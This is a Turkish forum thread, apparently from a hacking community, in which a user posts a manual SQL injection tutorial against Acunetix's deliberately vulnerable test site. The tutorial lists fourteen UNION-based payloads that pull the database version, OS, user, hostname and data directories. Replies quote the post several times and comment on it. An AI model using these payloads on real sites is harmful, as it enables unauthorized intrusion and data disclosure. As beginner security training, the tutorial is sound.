Sql Enjeksiyon Zafiyetini Kullanalım

Rapx13' Alıntı:

Selamlar Ben Anka Team Junior'dan Rapx13. Bugün sizlere manuel olarak sql enjeksiyon açığı bulunan bir siteden araç kullanmdan komutlarla bilgi çekmeyi göstericeğim.

SQL Nedir ?

SQL (yapılandırılmış sorgu dili) demektir. Adındanda anlaşılcağı için veri aktarımı yazılmış bir alt dildir.

SQL Enjeksiyon Zafiyeti Nedir ?

Genellikle bu açığı kullananlar ona SQLİ derler. Bu açık öyle bi açıktırki açıklar listesinde bi aralar en üst sıradaydı
(hala öylemi bilmiyorum) Bu açıktaki olay görülmemesi gerek verilerin görülmesine sebebiyet vermesidir.
Örneğin sitenizde sizin sunucunuzun ip adresi veya işletim sistemi gibi şeylerin gözükmesi pek hoş olmaz dimi
İşte bu açık böyle bişey. Bizde bugün bunu inceleyip bilgi toplayacağız.

İlk olarak Bu işlemi Acunetix yani test vulnwebde yapıcağım yani herhangi bir suç teşkil etmiyicek.
Bu arada çektiğim videoda tables demişim heyecandan kolon olucak o.

Videoda kullandığım parametreler :

1- testphp.vulnweb.com/artists.php?artist=1' (zafiyet varsa hata vermesi için)

2- testphp.vulnweb.com/artists.php?artist=1 and 1=1 sorgu döndü 1=2 olursa dönmez hata verir açık var.

3- testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,3 yazınca 3. kolonda açık olduğunu söylüyor.

4- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,version() yazınca versiyon bilgisini verir.

5- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@version_comment. üsttekiyle nerdeyse aynısı.

6- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,version_compile_os. işletim sistemini verir.

7- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@version_compile_machine. mimari bilgisini verir.

8- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,database() uygulama veri tabanını verir.

9- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,user() veri tabanı kullanıcısını verir

10- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@port mysql portunu verir.

11- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@hostname ana sistemin adını verir.

12- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@besedir mysql sunucusunun bulunduğu dizini verir.

13- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@DATADIR mysql datasının bulunduğu dizini verir.

14- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@wait_timeout bir sorgu süresini ekrana yazar.

İzlemek isteyen olursa diye video Daily Motion Linki

​

Genişletmek için tıkla ...

teux' Alıntı:

SQLi gibi derin ve detaylı bir zafiyeti bu kadar üstünkörü anlatmanız pek hoş olmamış,
Eline sağlı

Genişletmek için tıkla ...

Rapx13' Alıntı:

Selamlar Ben Anka Team Junior'dan Rapx13. Bugün sizlere manuel olarak sql enjeksiyon açığı bulunan bir siteden araç kullanmdan komutlarla bilgi çekmeyi göstericeğim.

SQL Nedir ?

SQL (yapılandırılmış sorgu dili) demektir. Adındanda anlaşılcağı için veri aktarımı yazılmış bir alt dildir.

SQL Enjeksiyon Zafiyeti Nedir ?

Genellikle bu açığı kullananlar ona SQLİ derler. Bu açık öyle bi açıktırki açıklar listesinde bi aralar en üst sıradaydı
(hala öylemi bilmiyorum) Bu açıktaki olay görülmemesi gerek verilerin görülmesine sebebiyet vermesidir.
Örneğin sitenizde sizin sunucunuzun ip adresi veya işletim sistemi gibi şeylerin gözükmesi pek hoş olmaz dimi
İşte bu açık böyle bişey. Bizde bugün bunu inceleyip bilgi toplayacağız.

İlk olarak Bu işlemi Acunetix yani test vulnwebde yapıcağım yani herhangi bir suç teşkil etmiyicek.
Bu arada çektiğim videoda tables demişim heyecandan kolon olucak o.

Videoda kullandığım parametreler :

1- testphp.vulnweb.com/artists.php?artist=1' (zafiyet varsa hata vermesi için)

2- testphp.vulnweb.com/artists.php?artist=1 and 1=1 sorgu döndü 1=2 olursa dönmez hata verir açık var.

3- testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,3 yazınca 3. kolonda açık olduğunu söylüyor.

4- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,version() yazınca versiyon bilgisini verir.

5- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@version_comment. üsttekiyle nerdeyse aynısı.

6- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,version_compile_os. işletim sistemini verir.

7- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@version_compile_machine. mimari bilgisini verir.

8- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,database() uygulama veri tabanını verir.

9- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,user() veri tabanı kullanıcısını verir

10- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@port mysql portunu verir.

11- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@hostname ana sistemin adını verir.

12- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@besedir mysql sunucusunun bulunduğu dizini verir.

13- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@DATADIR mysql datasının bulunduğu dizini verir.

14- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@wait_timeout bir sorgu süresini ekrana yazar.

İzlemek isteyen olursa diye video Daily Motion Linki

​

Genişletmek için tıkla ...

aslnbkr27' Alıntı:

Detaya inilebilirdi.Eline sağlık

Genişletmek için tıkla ...

Liprow' Alıntı:

Yorumlara takılma kardeşim, gayet güzel bir yerden başlangıç yapmışsın. Veritabanı ve ağ yapısını, dizin bilgisini, kullanıcı yetkilerini, buna benzer bir çok şeyi bilmeden ezber niteliğinde parametre uygulayan kişilerin "neden olmuyor?" sorusuna cevap niteliğindedir bu sorgular. Kendini geliştirmen açısından başka dbms türlerinde ki farklılıklarını araştır. Örneğin konuna bakıp database() sorgusu yapan bir kişi ordbms tabanlıda sorgusuna cevap gelmeyince waf olduğunu sanmasın. Veya iki saat panel bilgisi arayanların bu sorgularla root yetkisine erişe bileceği bir ortam yarat. Hadi kolay gelsin..

Genişletmek için tıkla ...

Rapx13' Alıntı:

Selamlar Ben Anka Team Junior'dan Rapx13. Bugün sizlere manuel olarak sql enjeksiyon açığı bulunan bir siteden araç kullanmdan komutlarla bilgi çekmeyi göstericeğim.

SQL Nedir ?

SQL (yapılandırılmış sorgu dili) demektir. Adındanda anlaşılcağı için veri aktarımı yazılmış bir alt dildir.

SQL Enjeksiyon Zafiyeti Nedir ?

Genellikle bu açığı kullananlar ona SQLİ derler. Bu açık öyle bi açıktırki açıklar listesinde bi aralar en üst sıradaydı
(hala öylemi bilmiyorum) Bu açıktaki olay görülmemesi gerek verilerin görülmesine sebebiyet vermesidir.
Örneğin sitenizde sizin sunucunuzun ip adresi veya işletim sistemi gibi şeylerin gözükmesi pek hoş olmaz dimi
İşte bu açık böyle bişey. Bizde bugün bunu inceleyip bilgi toplayacağız.

İlk olarak Bu işlemi Acunetix yani test vulnwebde yapıcağım yani herhangi bir suç teşkil etmiyicek.
Bu arada çektiğim videoda tables demişim heyecandan kolon olucak o.

Videoda kullandığım parametreler :

1- testphp.vulnweb.com/artists.php?artist=1' (zafiyet varsa hata vermesi için)

2- testphp.vulnweb.com/artists.php?artist=1 and 1=1 sorgu döndü 1=2 olursa dönmez hata verir açık var.

3- testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,3 yazınca 3. kolonda açık olduğunu söylüyor.

4- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,version() yazınca versiyon bilgisini verir.

5- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@version_comment. üsttekiyle nerdeyse aynısı.

6- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,version_compile_os. işletim sistemini verir.

7- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@version_compile_machine. mimari bilgisini verir.

8- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,database() uygulama veri tabanını verir.

9- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,user() veri tabanı kullanıcısını verir

10- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@port mysql portunu verir.

11- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@hostname ana sistemin adını verir.

12- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@besedir mysql sunucusunun bulunduğu dizini verir.

13- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@DATADIR mysql datasının bulunduğu dizini verir.

14- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@wait_timeout bir sorgu süresini ekrana yazar.

İzlemek isteyen olursa diye video Daily Motion Linki

​

Genişletmek için tıkla ...

LydexCoding' Alıntı:

Ellerinize sağlık hocam.

Genişletmek için tıkla ...

Rapx13' Alıntı:

Hocam ne gibi detaylar belki seri şeklinde yapabilirim söylerseniz yardımcı olursunuz söyleyebilirmisiniz?

Genişletmek için tıkla ...

Liprow' Alıntı:

Yorumlara takılma kardeşim, gayet güzel bir yerden başlangıç yapmışsın. Veritabanı ve ağ yapısını, dizin bilgisini, kullanıcı yetkilerini, buna benzer bir çok şeyi bilmeden ezber niteliğinde parametre uygulayan kişilerin "neden olmuyor?" sorusuna cevap niteliğindedir bu sorgular. Kendini geliştirmen açısından başka dbms türlerinde ki farklılıklarını araştır. Örneğin konuna bakıp database() sorgusu yapan bir kişi ordbms tabanlıda sorgusuna cevap gelmeyince waf olduğunu sanmasın. Veya iki saat panel bilgisi arayanların bu sorgularla root yetkisine erişe bileceği bir ortam yarat. Hadi kolay gelsin..

Genişletmek için tıkla ...

Rapx13' Alıntı:

Selamlar Ben Anka Team Junior'dan Rapx13. Bugün sizlere manuel olarak sql enjeksiyon açığı bulunan bir siteden araç kullanmdan komutlarla bilgi çekmeyi göstericeğim.

SQL Nedir ?

SQL (yapılandırılmış sorgu dili) demektir. Adındanda anlaşılcağı için veri aktarımı yazılmış bir alt dildir.

SQL Enjeksiyon Zafiyeti Nedir ?

Genellikle bu açığı kullananlar ona SQLİ derler. Bu açık öyle bi açıktırki açıklar listesinde bi aralar en üst sıradaydı
(hala öylemi bilmiyorum) Bu açıktaki olay görülmemesi gerek verilerin görülmesine sebebiyet vermesidir.
Örneğin sitenizde sizin sunucunuzun ip adresi veya işletim sistemi gibi şeylerin gözükmesi pek hoş olmaz dimi
İşte bu açık böyle bişey. Bizde bugün bunu inceleyip bilgi toplayacağız.

İlk olarak Bu işlemi Acunetix yani test vulnwebde yapıcağım yani herhangi bir suç teşkil etmiyicek.
Bu arada çektiğim videoda tables demişim heyecandan kolon olucak o.

Videoda kullandığım parametreler :

1- testphp.vulnweb.com/artists.php?artist=1' (zafiyet varsa hata vermesi için)

2- testphp.vulnweb.com/artists.php?artist=1 and 1=1 sorgu döndü 1=2 olursa dönmez hata verir açık var.

3- testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,3 yazınca 3. kolonda açık olduğunu söylüyor.

4- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,version() yazınca versiyon bilgisini verir.

5- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@version_comment. üsttekiyle nerdeyse aynısı.

6- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,version_compile_os. işletim sistemini verir.

7- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@version_compile_machine. mimari bilgisini verir.

8- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,database() uygulama veri tabanını verir.

9- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,user() veri tabanı kullanıcısını verir

10- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@port mysql portunu verir.

11- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@hostname ana sistemin adını verir.

12- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@besedir mysql sunucusunun bulunduğu dizini verir.

13- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@DATADIR mysql datasının bulunduğu dizini verir.

14- testphp.vulnweb.com/artists.php?artist=1 union select 1,2,@@wait_timeout bir sorgu süresini ekrana yazar.

İzlemek isteyen olursa diye video Daily Motion Linki

​

Genişletmek için tıkla ...